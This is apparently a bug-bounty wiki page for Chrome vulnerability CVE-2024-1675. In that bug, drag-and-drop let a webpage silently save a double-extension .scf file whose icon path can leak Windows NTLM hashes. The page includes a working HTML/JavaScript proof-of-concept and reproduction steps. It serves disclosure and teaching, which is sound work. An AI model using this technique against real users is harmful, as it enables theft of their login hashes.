Skip to content
Info disclosure Advisory Intermediate CVE-2024-1675

Insufficient policy enforcement in Download (CVE-2024-1675)

Chrome allowed a webpage to trigger a download of a .scf file via drag-and-drop without a prompt, and the file could be saved with a double extension so it appeared as an image. An attacker could use this to steal NTLM hashes by pointing the .scf file's icon to a remote share, without the user opening the file.

Bartłomiej Wacko Follow

Originally disclosed on Chrome VRP

Bounty$1,000 Medium View original
  • Fix shipped in 2 months

VULNERABILITY DETAILS
Downloading .scf files unknowingly without any prompt should not be possible (https://crbug.com/1227995)
Using drag and drop to the explorer it is possible.
This allows for stealing NTLM hashes (IconFile entry inside .scf file can point to a network share).
File doesn't have to be opened by the user for that to happen.
File named image.jpg.scf in the explorer will appear as image.jpg.

VERSION
Chrome Version: 120.0.6099.130 (Official Build) (64-bit)
Operating System: Windows 10 22H2 10.0.19045.3803

REPRODUCTION CASE

<div draggable="true" style="background-color: red; width: 200px; height: 200px">drag me to a folder to download</div><br> <script> function onDragStart(e){ const name = 'test.jpg.scf'; const url = `http://127.0.0.1/a.scf`; // full url to .scf file, same origin const download_url_data = "application/octet-stream:" + name + ":" + url; e.dataTransfer.setData("DownloadURL", download_url_data); e.dataTransfer.effectAllowed = "copy"; } document.querySelector('div').addEventListener("dragstart", onDragStart, false); </script>
  1. Put the poc.html and a.scf files on server.
  2. Set proper url in the html code.
  3. Open the PoC page
  4. Drag the red square to desktop or to file explorer window.

CREDIT INFORMATION
Reporter credit: Bartłomiej Wacko

The original report as published on the Chromium issue tracker, by Bartłomiej Wacko. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, Chrome's download policy did not block .scf files when initiated via drag-and-drop, allowing a file with a double extension to be saved without a prompt.

Impact

An attacker could steal NTLM hashes without the user opening the file, but only on Windows and only if the user drags the element to a folder.

What the attacker needed

Windows OS; Chrome browser; victim drags element to a folder

How it was found

  1. Host the PoC HTML and a .scf file on a server.
  2. Set the correct URL in the HTML code.
  3. Open the PoC page in Chrome.
  4. Drag the red square to the desktop or a file explorer window.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A .scf file is a Windows shortcut that can load an icon from a network location. When Windows tries to show that icon, it may automatically send the user's login hash to the attacker's server. The bug let a website download such a file to the user's computer without asking, just by dragging a box to a folder.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.